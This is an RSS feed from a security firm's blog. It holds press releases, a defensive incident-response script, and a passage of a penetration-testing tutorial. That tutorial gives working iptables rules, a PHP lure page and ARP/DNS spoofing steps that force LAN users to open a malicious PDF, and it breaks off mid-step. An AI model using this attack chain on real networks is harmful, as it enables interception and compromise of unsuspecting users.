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	<title>Prolific Solutions</title>
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	<link>http://www.proso.com</link>
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		<title>Nick Popovich, Proso CTO and Lead Vulnerability Researcher Published in 2600</title>
		<link>http://www.proso.com/2012/01/17/nick-popovich-proso-cto-and-lead-vulnerability-researcher-published-in-2600/</link>
		<comments>http://www.proso.com/2012/01/17/nick-popovich-proso-cto-and-lead-vulnerability-researcher-published-in-2600/#comments</comments>
		<pubDate>Tue, 17 Jan 2012 16:40:41 +0000</pubDate>
		<dc:creator>News</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[News & Events]]></category>
		<category><![CDATA[Press Releases]]></category>
		<category><![CDATA[2600]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Popovich]]></category>
		<category><![CDATA[Root]]></category>

		<guid isPermaLink="false">http://www.proso.com/?p=983</guid>
		<description><![CDATA[Nick Popovich, Proso CTO and Lead Vulnerability Researcher was recently published in 2600, The Hacker Quarterly. His article how to add a user with root privileges non-interactively. The full excerpt from 2600 is available here. <a href="http://www.proso.com/2012/01/17/nick-popovich-proso-cto-and-lead-vulnerability-researcher-published-in-2600/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Nick Popovich, Proso CTO and Lead Vulnerability Researcher was recently published in 2600, The Hacker Quarterly.  His article how to add a user with root privileges non-interactively.  The full excerpt from 2600 is available <a href="http://www.proso.com/wp-content/uploads/2012/01/popovich_2600.pdf" title="2600 Excerpt - Popovich" target="_blank">here</a>.</p>
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		<title>Proso Launches New Venture to Help Certified Professionals Manage Their Continuing Education</title>
		<link>http://www.proso.com/2011/09/28/proso-launches-new-venture-to-help-certified-professionals-manage-their-continuing-education/</link>
		<comments>http://www.proso.com/2011/09/28/proso-launches-new-venture-to-help-certified-professionals-manage-their-continuing-education/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 19:19:14 +0000</pubDate>
		<dc:creator>News</dc:creator>
				<category><![CDATA[News & Events]]></category>
		<category><![CDATA[Press Releases]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[certifications]]></category>
		<category><![CDATA[continuing education]]></category>
		<category><![CDATA[mycpes.com]]></category>

		<guid isPermaLink="false">http://www.proso.com/?p=976</guid>
		<description><![CDATA[Chris Merritt, CEO of Prolific Solutions, is excited to announce a new ventured to help certified professionals manage their professional certifications and keep up with continuing education requirements. &#8220;The great thing about MyCPEs.com is that it is FREE, and anyone can have an account.&#8221; With a free membership, anyone can use MyCPEs.com to track their &#8230; <a href="http://www.proso.com/2011/09/28/proso-launches-new-venture-to-help-certified-professionals-manage-their-continuing-education/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="https://www.mycpes.com/?utm_source=proso.com&amp;utm_medium=Blog&amp;utm_campaign=Proso%2BBlog%2BPost"><img class="alignnone" title="MyCPEs.com Logo" src="https://www.mycpes.com/images/logo.png" alt="MyCPEs.com Logo" width="283" height="57" /></a></p>
<p>Chris Merritt, CEO of Prolific Solutions, is excited to announce a new ventured to help certified professionals manage their professional certifications and keep up with continuing education requirements.</p>
<p>&#8220;The great thing about MyCPEs.com is that it is FREE, and anyone can have an account.&#8221;</p>
<p>With a free membership, anyone can use MyCPEs.com to track their certifications, track your continuing education, and generate reports – all of which promote better management of certifications and help professionals stay on top of all of the requirements to remain certified. For an even better certification management program, professionals can take a look at MyCPEs.com offerings that accompany a premium account. Additional features include e-mail notifications, a quick-view of when things are coming due, recommended continuing education content, the ability to search for CPE content relevant to your certifications, no advertisements, and much, much, MORE.</p>
<p>Create an account by browsing to <a title="www.MyCPEs.com" href="https://www.mycpes.com/?utm_source=proso.com&amp;utm_medium=Blog&amp;utm_campaign=Proso%2BBlog%2BPost" target="_blank">www.mycpes.com</a>.</p>
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		<title>Proso Senior Business Developer Accepted into Norwich MSIA Program</title>
		<link>http://www.proso.com/2011/05/11/proso-senior-business-developer-accepted-into-norwich-msia-program/</link>
		<comments>http://www.proso.com/2011/05/11/proso-senior-business-developer-accepted-into-norwich-msia-program/#comments</comments>
		<pubDate>Wed, 11 May 2011 18:55:04 +0000</pubDate>
		<dc:creator>News</dc:creator>
				<category><![CDATA[News & Events]]></category>
		<category><![CDATA[Press Releases]]></category>
		<category><![CDATA[Business Value]]></category>
		<category><![CDATA[Customer Service]]></category>
		<category><![CDATA[Education]]></category>
		<category><![CDATA[MSIA]]></category>
		<category><![CDATA[Norwich]]></category>
		<category><![CDATA[Warren Bailey]]></category>

		<guid isPermaLink="false">http://www.proso.com/?p=966</guid>
		<description><![CDATA[Proso CEO, Chris Merritt, is excited to announce that Senior Business Developer, Warren Bailey, has been accepted into Norwich University&#8217;s MSIA (Masters of Science in Information Assurance) program. &#8220;We&#8217;re very excited that Warren was accepted into the program, [certified by the NSA as a Center of Excellence]. Norwich is fortunate to have Warren in the &#8230; <a href="http://www.proso.com/2011/05/11/proso-senior-business-developer-accepted-into-norwich-msia-program/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Proso CEO, Chris Merritt, is excited to announce that Senior Business Developer, Warren Bailey, has been accepted into Norwich University&#8217;s MSIA (Masters of Science in Information Assurance) program.  </p>
<p>&#8220;We&#8217;re very excited that Warren was accepted into the program, [certified by the NSA as a Center of Excellence].  Norwich is fortunate to have Warren in the program, and the knowledge he&#8217;ll glean from the program will be invaluable to Proso moving forward as we continue to grow in the information assurance/information security space.&#8221;</p>
<p>Chris is a 2007 alum of the MSIA program at Norwich, and has lectured for Norwich&#8217;s Webinar Program.</p>
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		<title>Incident Response Script</title>
		<link>http://www.proso.com/2011/04/07/incident-response-script/</link>
		<comments>http://www.proso.com/2011/04/07/incident-response-script/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 17:47:20 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[IT Infrastructure Security]]></category>
		<category><![CDATA[cirt]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[nirsfot]]></category>
		<category><![CDATA[sysinternals]]></category>

		<guid isPermaLink="false">http://www.proso.com/?p=948</guid>
		<description><![CDATA[When dealing with PC’s that are suspected to have a virus there are a myriad of tools to perform “forensic” tasks. However none of them met ALL of my needs. Most got some of the data, were constrained to a particular format, or required user intervention. Not helpful if you want to instruct tier 1 &#8230; <a href="http://www.proso.com/2011/04/07/incident-response-script/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>When dealing with PC’s that are suspected to have a virus there are a myriad of tools to perform “forensic” tasks.  However none of them met ALL of my needs.  Most got some of the data, were constrained to a particular format, or required user intervention.  Not helpful if you want to instruct tier 1 support staff to grab a quick snapshot of data and put it into a ticket.  Or, perhaps you want to automate the virus incident response acquisition process.  Either way I like to customize solutions to fit my needs and I recently did just that.  I figured I’d share my script with the public in case someone else finds a use for this.</p>
<p>NOTE: This is not a forensically sound acquisition, since it requires you to copy files to the PC and run them locally.  </p>
<p>I have recently (and repetitively) needed to grab a lot of info from PC’s that are coming up infected with viruses and the enterprise class virus suite in use is mums the word.</p>
<p>I wanted to grab the usual suspects:<br />
Prefetch<br />
TCP\UDP connections (And map them to their services\binaries\PID’s)<br />
Open files<br />
Event logs<br />
Services<br />
User\computer temp\temp internet files<br />
IE history<br />
Some reg keys (autorun, MRU etc.)</p>
<p>I cooked up a windows script that uses free tools (mostly Sysinternals, TZWorks and Nirsoft ) to do just that.</p>
<p>I like the output; it’s what I’m used to and works for me.  Please feel free to comment on additions or where this can be modified.</p>
<p>Unfortunately the tools’ EULAs do not allow the tools to be redistributed so I will simply post the file structure and script (with links for the tools).</p>
<p>Also, some of the info I gather is in a format that can be analyzed with other tools after the fact.  For example: for the prefetch info I gather the data with pf.exe, but I love the tool WinPrefetchView by Nirsoft, so I also copy the entire prefetch directory to be viewed by that tool later.  Similarly, I like to use IEHistoryView (again Nirsoft) so I copy users’ history folders as well.</p>
<p>Everything else is a text file that contains the juicy bits of information that can help put together a picture of a system and help identify any rogue applications\services that are running.  I also copy the users’ temp and temporary internet directories (so be careful if there’s a live virus binary in there!).</p>
<p>This works for XP, and I think Windows 7 (untested on 7, I think the only addition would be a few new reg locations).</p>
<p>I hope you find this useful.</p>
<p>Enoy!</p>
<p>The folder structure is important, since my script depends on it.</p>
<p>My folder structure looks like this:</p>
<p><a href="http://www.proso.com/wp-content/uploads/2011/04/folders.png"><img src="http://www.proso.com/wp-content/uploads/2011/04/folders.png" alt="" title="folders" width="67" height="52" class="alignnone size-full wp-image-957" /></a></p>
<p>(IRT = Incident Response Tool)</p>
<p>Below it is two folders, bin and logs.  </p>
<p>Beneath bin I have the following files:<br />
<a href=http://tzworks.net/prototype_page.php?proto_id=1>pf.exe</a><br />
NOTE: you can just download the <a href=”http://technet.microsoft.com/en-us/sysinternals/bb897553”>PSTools</a> zip file which contains all of the below tools<br />
PsExec.exe<br />
psfile.exe<br />
PsInfo.exe<br />
PsList.exe<br />
psloglist.exe<br />
PsService.exe<br />
<a href=”http://technet.microsoft.com/en-us/sysinternals/bb897437”>Tcpvcon.exe</a></p>
<p>In the root of the IRT folder place a windows command file.  I call mine IRT.cmd.</p>
<p>IRT.cmd:</p>
<pre class="brush: plain; title: ;">
@echo off
mkdir &quot;%~dp0logs\%computername%\services&quot;
mkdir &quot;%~dp0logs\%computername%\network&quot;
mkdir &quot;%~dp0logs\%computername%\system_logs&quot;
mkdir &quot;%~dp0logs\%computername%\REG&quot;
mkdir &quot;%~dp0logs\%computername%\Windows Temp&quot;
cd bin
psservice /accepteula &gt;&gt;&quot;%~dp0logs\%computername%\services\%computername%_services.txt&quot;
psloglist application /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\system_logs\%computername%_app_log.txt&quot;
psloglist system /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\system_logs\%computername%_sys_log.txt&quot;
psloglist security /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\system_logs\%computername%_sec_log.txt&quot;
pslist /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\services\%computername%_processes.txt&quot;
psinfo /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\services\%computername%_sys_info.txt&quot;
psfile /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\network\%computername%_open_files.txt&quot;
tcpvcon -a /accepteula &gt;&gt; &quot;%~dp0logs\%computername%\network\%computername%_network.txt&quot;
dir c:\windows\prefetch\*.pf /b /s | pf -v &gt;&gt; &quot;%~dp0logs\%computername%\%computername%_pf_out.txt&quot;
REM netstat -anob &gt;&gt; &quot;%~dp0logs\%computername%_netstat.txt&quot; &lt;--- don't need these due to tcpvcon
cd Fport-2.0
fport &gt;&gt; &quot;%~dp0logs\%computername%\network\%computername%_fport.txt&quot;
cd ../
xcopy c:\windows\prefetch &quot;%~dp0logs\%computername%\prefetch&quot; /E /Y /I
for /F &quot;tokens=1,2 delims= &quot; %%A IN ('dir /B &quot;%userprofile%\..&quot;') DO xcopy &quot;%userprofile%\..\%%A\Local Settings\Temp&quot; &quot;%~dp0logs\%computername%\temp\%%A\temp&quot; /E /Y /I /H
for /F &quot;tokens=1,2 delims= &quot; %%A IN ('dir /B &quot;%userprofile%\..&quot;') DO xcopy &quot;%userprofile%\..\%%A\Local Settings\History&quot; &quot;%~dp0logs\%computername%\history\%%A\history&quot; /E /Y /I /H
for /F &quot;tokens=1,2 delims= &quot; %%A IN ('dir /B &quot;%userprofile%\..&quot;') DO xcopy &quot;%userprofile%\..\%%A\Local Settings\Temporary Internet Files\Content.IE5&quot; &quot;%~dp0logs\%computername%\temp\%%A\temp_internet&quot; /E /Y /I /H
xcopy &quot;C:\Windows\Temp&quot; &quot;%~dp0logs\%computername%\Windows Temp&quot; /E /Y /I /H
for /F %%A IN ('reg query HKU') DO reg query &quot;%%A\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU&quot; /s &gt;&gt; &quot;%~dp0logs\%computername%\REG\mru.txt&quot;
for /F %%A IN ('reg query HKU') DO reg query &quot;%%A\Software\Microsoft\Internet Explorer\TypedURLs&quot; /s &gt;&gt; &quot;%~dp0logs\%computername%\REG\mru.txt&quot;
for /F %%A IN ('reg query HKU') DO reg query &quot;%%A\Software\Microsoft\Windows\CurrentVersion\Run&quot; /s &gt;&gt; &quot;%~dp0logs\%computername%\REG\run.txt&quot;
for /F %%A IN ('reg query HKU') DO reg query &quot;%%A\Software\Microsoft\Windows\CurrentVersion\RunOnce&quot; /s &gt;&gt; &quot;%~dp0logs\%computername%\REG\run.txt&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\run.txt&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\run.txt&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\run.txt&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\run.txt&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\run.txt&quot;
reg query &quot;HKLM\SYSTEM\CurrentControlSet\Services&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\services.txt&quot;
reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\debugger.txt&quot;
reg query &quot;HKCR\exefile\shell\open\command\&quot; /s &gt;&gt;&quot;%~dp0logs\%computername%\REG\shell_open.txt&quot;
</pre>
<p>Like I said above I also have some other tools I use for static analysis that the script does not use.  But, I can use them on the PC in question (like tcpview or currports) or I can use some to view the output from the script (WinPreFetchView and IEHistoryView).  Here’s a list of the tools I prefer and keep with me.</p>
<p><a href=www.nirsoft.net/utils/cports.html>currports</a><br />
<a href=www.nirsoft.net/utils/iehv.html>IEHistoryview</a><br />
<a href=www.nirsoft.net/utils/opened_files_view.html>ofview</a><br />
<a href=http://technet.microsoft.com/en-us/sysinternals/bb896645>ProcessMonitor</a><br />
<a href=http://technet.microsoft.com/en-us/sysinternals/bb897437>TCPView</a><br />
<a href=”www.nirsoft.net/utils/win_prefetch_view.html“>winprefetchview</a></p>
<p>After running IRT.cmd a folder will be created beneath the logs directory containing sub folders with the data gathered by the script. </p>
<p>Happy hunting!</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.proso.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a> </p>]]></content:encoded>
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		<title>Captive Audience: Using iptables and php as a home grown captive portal during penetration tests</title>
		<link>http://www.proso.com/2011/03/31/captive-audience-using-iptables-and-php-as-a-home-grown-captive-portal-during-penetration-tests-2/</link>
		<comments>http://www.proso.com/2011/03/31/captive-audience-using-iptables-and-php-as-a-home-grown-captive-portal-during-penetration-tests-2/#comments</comments>
		<pubDate>Thu, 31 Mar 2011 20:00:34 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Security Testing]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[captive protal]]></category>
		<category><![CDATA[dsniff]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[man-in-the-middle]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[pen testing]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[traffic redirection]]></category>

		<guid isPermaLink="false">http://www.proso.com/?p=934</guid>
		<description><![CDATA[This, like all penetration testing methods or discussions should be used for educational\professional purposes only. The purpose of this post is to show an interesting client based attack method that can be used in penetration testing. Abusing networks or computers that you do not have permission to be messing with is not smart and can &#8230; <a href="http://www.proso.com/2011/03/31/captive-audience-using-iptables-and-php-as-a-home-grown-captive-portal-during-penetration-tests-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This, like all penetration testing methods or discussions should be used for educational\professional purposes only.  The purpose of this post is to show an interesting client based attack method that can be used in penetration testing.  Abusing networks or computers that you do not have permission to be messing with is not smart and can get you into a lot of trouble.</p>
<p>The idea of a captive portal is not new.  Anytime you’ve gone to a hotel or local coffee shop and seen the terms of service for using their free Wifi you’ve had your web traffic redirected to a page of the establishment&#8217;s choosing and been forced to view said page.  When I put it like that doesn’t it sound nasty?  And, in the world of pen testing, where browser\client side exploits are a shoe in into networks doesn’t the idea of a captive portal sound like an amazing tool?  I hesitate to say this will work 100% of the time, because there are absolutely no absolutes.  And while I never exaggerate (never in a million years!) I feel justified in saying this should work most of the time.  For me, this attack vector has worked 100% of the time.  Some of the scenarios where I’ve used the below method are wireless security testing, or internal penetration tests (or as a parlor trick\impromptu security training session).</p>
<p>What follows is a not so brief tutorial demonstrating how to setup a captive portal for the purpose of obtaining remote access to a target computer.</p>
<p>Summary of attacks used: ARP spoofing MITM, DNS spoofing, traffic redirection, malicious pdf file.</p>
<p>The gist of the attack is this: you’re on a LAN.  You play man in the middle and force ALL of the target’s web traffic to view your page first before you pass it on to the intended destination.  The target (be it a single host or an entire broadcast domain) is forced to view a page you choose.  This could be used to supply browser exploits, steal credentials, or drop payloads on to the victim.  NOTE: if you do attempt this against an entire subnet you better have one heckuva laptop with several NICs or you will DOS the network.</p>
<p>There are a lot of open source distros that are bundled captive portals, but I found this method to be the most customizable, and it suited my needs.  I used the following <a href="http://www.andybev.com/index.php/Using_iptables_and_PHP_to_create_a_captive_portal">site</a> heavily as a reference when I started working on this attack a few months ago, and customized as I saw fit.</p>
<p>I’ll describe a scenario where a user is sent to a web page and has to open a malicious PDF and input a code from said PDF before they can continue browsing.</p>
<p>Let’s begin.  I primarily use <a href="http://www.backtrack-linux.org/">Backtrack</a> (used BT4 R2 for this instance) when performing security duties, but I have also gotten very friendly with CentOS or the latest Ubuntu release.  Most of the instructions below were developed while using Backtrack (some of the commands and dependencies are different for the different distros, but the gist is the same).</p>
<p>BT4 R2 comes with an older version of iptables.  We will be marking packets and for this to work you need to download the latest source for <a href="http://www.netfilter.org/projects/iptables/files/iptables-1.4.10.tar.bz2">iptables</a> (version 1.4.10).  </p>
<p>Remove the current installation:
<pre class="brush: bash; title: ;">apt-get remove iptables</pre>
<p>Extract the contents of iptables-1.4.10.tar.bz2:
<pre class="brush: bash; title: ;">tar –xvf  iptables-1.4.10.tar.bz2</pre>
<p>Enter the newly extracted directory and use the make method to compile iptables from source.</p>
<pre class="brush: bash; title: ;">./configure
make
make install</pre>
<p>Check your work by issuing the
<pre class="brush: bash; title: ;"> iptables</pre>
<p> command.  You should see version info.  Success reads iptables v1.4.10.  Sometimes I’ve had to close the Konsole window and open a new one to see the new iptables version, don’t know why.</p>
<p>Now lets setup some of the other things in the environment you’ll need.  First is conntrack.
<pre class="brush: bash; title: ;">apt-get install conntrack</pre>
<p>Next we need to create an empty text file called users. </p>
<pre class="brush: bash; title: ;">echo blah &gt;/var/lib/users</pre>
<p>Now we need to change the owner for the file to be www-data.
<pre class="brush: bash; title: ;">chown www-data /var/lib/users</pre>
<p>You’ll see later what this file is used for.  I don’t use it too much but like to have it because A). it doesn’t hurt anything and B). it does give you some information, and the more information about a target the better!</p>
<p>Next setup the rmtrack script.  This script’s purpose is to remove connection data so that the target gets forwarded to the legit site.  I again need to give the credit to this <a href="http://www.andybev.com/index.php/Using_iptables_and_PHP_to_create_a_captive_portal">blog</a> because it provided so many good examples and code snippets.</p>
<pre class="brush: bash; title: ;"> /usr/sbin/conntrack -L \
    |grep $1 \
    |grep ESTAB \
    |grep 'dport=80' \
    |awk \
        &quot;{ system(\&quot;conntrack -D --orig-src $1 --orig-dst \&quot; \
            substr(\$6,5) \&quot; -p tcp --orig-port-src \&quot; substr(\$7,7) \&quot; \
            --orig-port-dst 80\&quot;); }&quot;</pre>
<p>You’ll notice this only deals with HTTP traffic.  Don’t worry about that for now, I’ll get more into that later.</p>
<p>Don’t forget to make /usr/bin/rmtrack executable</p>
<pre class="brush: bash; title: ;">chmod +x /usr/bin/rmtrack</pre>
<p>We need to setup sudoers so the apache account has permissions to run some commands.  Use the
<pre class="brush: bash; title: ;">visudo</pre>
<p> command and add the following entries to your sudoers file:</p>
<pre class="brush: bash; title: ;"> www-data ALL = NOPASSWD: /sbin/iptables -I internet 1 -t nat -m mac --mac-source ??\:??\:??\:??\:??\:?? -j RETURN
www-data ALL = NOPASSWD: /sbin/iptables -D internet -t nat -m mac --mac-source ??\:??\:??\:??\:??\:?? -j RETURN
www-data ALL = NOPASSWD: /usr/bin/rmtrack [0-9]*.[0-9]*.[0-9]*.[0-9]*</pre>
<p>Now on to the iptable rules:</p>
<p>You can copy and paste this into a script for ease of use.  Just remember that you should clear all the iptables rules before making any new changes and reapplying them.  I usually make two scripts, one with the iptables rules and one to clear them.  I left some of the original iptables script comments but I’ll also go in to more detail further down.  Be sure to change the two IP addresses below to your victim IP (or subnet) and your attacker IP.  </p>
<p>Here are the rules:</p>
<pre class="brush: bash; title: ;"> IPTABLES=/usr/local/sbin/iptables

# Create internet chain and add allow rules

# This is used to authenticate users who have already signed up

$IPTABLES -A FORWARD -s VICTIM IP -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p udp -m udp --sport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -N internet -t nat

# First send all traffic via newly created internet chain

# At the prerouting NAT stage this will DNAT them to the local

# webserver for them to signup if they aren't authorized

# Packets for unauthorized users are marked for dropping later

$IPTABLES -t nat -A PREROUTING -j internet

###### INTERNET CHAIN ##########

# Allow authorized clients in, redirect all others to login webserver

# Add known users to the NAT table to stop their dest being rewritten

# Ignore MAC address with a * - these users are blocked

# This awk script goes through the /var/lib/users flat file line by line

#awk 'BEGIN { FS=&quot;\t&quot;; } { system(&quot;$IPTABLES -t nat -A internet -m mac --mac-source &quot;$4&quot; -j RETURN&quot;); }' /var/lib/users

# MAC address not found. Mark the packet 99

$IPTABLES -t nat -A internet -j MARK --set-mark 99

# Redirects web requests from Unauthorized users to logon Web Page

$IPTABLES -t nat -A internet -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination ATTCKER IP

################################

# Now that we've got to the forward filter, drop all packets

# marked 99 - these are unknown users. We can't drop them earlier

# as there's no filter table

$IPTABLES -t filter -A FORWARD -m mark --mark 99 -j DROP</pre>
<p>We’re going to be using DNS spoofing so the URL’s in the address bar don’t arouse suspicion. We need to allow DNS queries to egress, as well as allow traffic to port 53 on our own box which will return bogus responses, which is what the first two iptabels rules does.</p>
<p>Then we create a new chain called “internet”.  The rest of the rules are spelled out in the above comments.</p>
<p>Basically what will happen here is your targets traffic will pass through your machine, like your machine is the router.  The iptables rules will deny all traffic (except DNS queries) and forward all HTTP traffic to your own attacking box, where you serve up your PHP page.</p>
<p>A quick note on the /var/lib/users file.  This will keep a persistent list of folks who “Register” with your captive portal.  After the attack completes their MAC (among other things) is noted in this file.  When you run the iptables script the awk statement will grab these users and allow them through without having to hit your page again.  It’s optional.  If you omit the file tho you’ll need to kill it’s reference in the php page.</p>
<p>Now to the PHP file.  The basics are your PHP file will handle the URL header rewriting, as well as forwarding the target to their originally requested site after they’ve opened your malicious PDF.</p>
<p>Remember you can’t have HTML code within PHP tags so you need to start and end them appropriately within the page.  There’s some dummy html in the below PHP file which is a simple form asking for a code.  Once they input the proper code into the text box and hit submit their mac address will be added to an iptables rule that will allow them Internet access, and the php header operation will forward them to the site they requested originally.  The php if statement is waiting for an expected value to be supplied to the code variable; that value is sitting in the PDF file you created (with <a href="http://www.metasploit.com/">metasploit</a>).  You can set it to whatever you’d like, just change the php code.  Be sure to name this file index.php in the /var/www directory.  Delete index.html.  and I suppose you should probably start apache too…</p>
<p>Change the variable at the top to whatever you want (you’ll be spoofing the DNS for this address, that will be the URL they see in their browser address bar).  Also you can change the expected value for the code variable to whatever you want.</p>
<p>Don’t forget about starting your webserver.</p>
<pre class="brush: bash; title: ;">start-apache</pre>
<p>Index.php file:</p>
<pre class="brush: php; title: ;">&lt;?php

$server_name = &quot;www&quot;;
$domain_name = &quot;fakename.com&quot;;
$site_name = &quot;Fake Site Name:&quot;;

// Path to the arp command on the local server
$arp = &quot;/usr/sbin/arp&quot;;

// The following file is used to keep track of users
$users = &quot;/var/lib/users&quot;;

// Check if we've been redirected by firewall to here.
// If so redirect to registration address
if ($_SERVER['SERVER_NAME']!=&quot;$server_name.$domain_name&quot;) {
  header(&quot;location:http://$server_name.$domain_name/index.php?add=&quot;
    .urlencode($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
  exit;
}

// Attempt to get the client's mac address
$mac = shell_exec(&quot;$arp -a &quot;.$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
if (!isset($mac)) { exit; }

$code = $_POST['code'];

if ($code!=&quot;1234&quot;) {
  // code doesn’t equal expected value, so display form
  ?&gt;
  &lt;h1&gt;Welcome to &lt;?php echo $site_name;?&gt;&lt;/h1&gt;
  To access the Internet you must first enter code from pdf below:&lt;br&gt;&lt;br&gt;
  &lt;a href=&quot;./fake.pdf&quot;&gt;PDF File Here&lt;/a&gt;
  &lt;form method='POST'&gt;
  &lt;table border=0 cellpadding=5 cellspacing=0&gt;
  &lt;tr&gt;&lt;td&gt;Your email address:&lt;/td&gt;&lt;td&gt;&lt;input type='text' name='code'&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type='submit' name='submit' value='Submit'&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;/table&gt;
  &lt;/form&gt;

  &lt;?php
} else {
    enable_address();
}

// This function enables the PC on the system by calling iptables, and also saving the
// details in the users file for next time the firewall is reset

function enable_address() {

    global $name;
    global $email;
    global $mac;
    global $users;

    file_put_contents($users,$_POST['name'].&quot;\t&quot;.$_POST['email'].&quot;\t&quot;
        .$_SERVER['REMOTE_ADDR'].&quot;\t$mac\t&quot;.date(&quot;d.m.Y&quot;).&quot;\n&quot;,FILE_APPEND + LOCK_EX);

    // Add PC to the firewall
    exec(&quot;sudo iptables -I internet 1 -t nat -m mac --mac-source $mac -j RETURN&quot;);
    // The following line removes connection tracking for the PC
    // This clears any previous (incorrect) route info for the redirection
    exec(&quot;sudo rmtrack &quot;.$_SERVER['REMOTE_ADDR']);

    sleep(1);
    header(&quot;location:http://&quot;.$_GET['add']);
    exit;
}

// Function to print page header
function print_header() {

  ?&gt;
  &lt;html&gt;
  &lt;head&gt;&lt;title&gt;&lt;?php echo $site_name;?&gt;&lt;/title&gt;
  &lt;META HTTP-EQUIV=&quot;CACHE-CONTROL&quot; CONTENT=&quot;NO-CACHE&quot;&gt;
  &lt;LINK rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;./style.css&quot;&gt;
  &lt;/head&gt;

  &lt;body bgcolor=#FFFFFF text=000000&gt;
  &lt;?php
}

// Function to print page footer
function print_footer() {
  echo &quot;&lt;/body&gt;&quot;;
  echo &quot;&lt;/html&gt;&quot;;

}

?&gt;</pre>
<p>You can get creative with the HTML portion of the php page.  Get a convincing page setup (wget magic!) and inform your user they need to view some agreement or accept some terms before they can continue using the web.  The purpose of the having them enter a code is that the user will have no recourse but to open your malicious pdf and get the code to continue browsing.  Once they do you can have your malcode execute.  After they put in the code they keep browsing none the wiser.  You could just have a page that has an iframe that redirects to a browser exploit, or have a form setup to gather user data.  During pen tests tho this is a stark reminder to your clients how dangerous an attacker on the LAN is.  This is especially useful with businesses who have a guest wireless network.  Most of this attack is mitigated by using static ARP tables or something like arpwatch on the gateway.  While they don’t care so much about their customers’ data security, it can be a real eye opener.  Also, a lot of companies use wireless and while most (some still do though) don’t use the ancient WEP for security, a lot still employ WPA2 PSK rather than the enterprise flavor using PKI.  If the WPA2 passphrase is not complex then it’s just as easy to get into as WEP!</p>
<p>Recently I demonstrated this attack on a hospital guest wireless network.  I also explained the ease of mitigating (at least the MITM portion) to the network admin staff and the next week the hospital had enabled some anti-arp spoofing features that had already existed in their wireless infrastructure, they had just never turned them on!</p>
<p>A note on 443:  Without presenting ugly certificate errors and going through the hassle of setting up SSL on your apache server, HTTPS is simply denied by the iptables rules.  Any HTTP site is redirected to your page, any HTTPS browsing is simply timed out.</p>
<p>Coming down the home stretch, now its just the MITM and DNS spoofing attack.</p>
<p>I had originally done this step with ettercap, since it had the nice DNS spoofing switch and I was familiar with it.  However, ettercap uses it’s own means of forwarding IP packets, and does not leave it to the kernel.  This means all HTTPS traffic bypasses our iptables rules and is allowed.  The reason it bypasses SSL traffic is I don’t enable the ettercap SSL dissection.  I don’t use ettercap all the time for MITM since it’s SSL packet dissection method requires the user to accept a bogus SSL certificate.  I don’t like that, not that most users won’t do it, but because some won’t know how.  I don’t want them to just get confused and close the browser.  I make it easy for them to get popped!</p>
<p>As an alternative I used dsniff’s arpsoof and dnsspoof to get the desired results.</p>
<p>First enable forwarding in the kernel</p>
<pre class="brush: bash; title: ;">echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre>
<p>Next kick off arpsoof towards the target and also the gateway.<br />
You need to issue two arpspoof commands</p>
<p>The first:
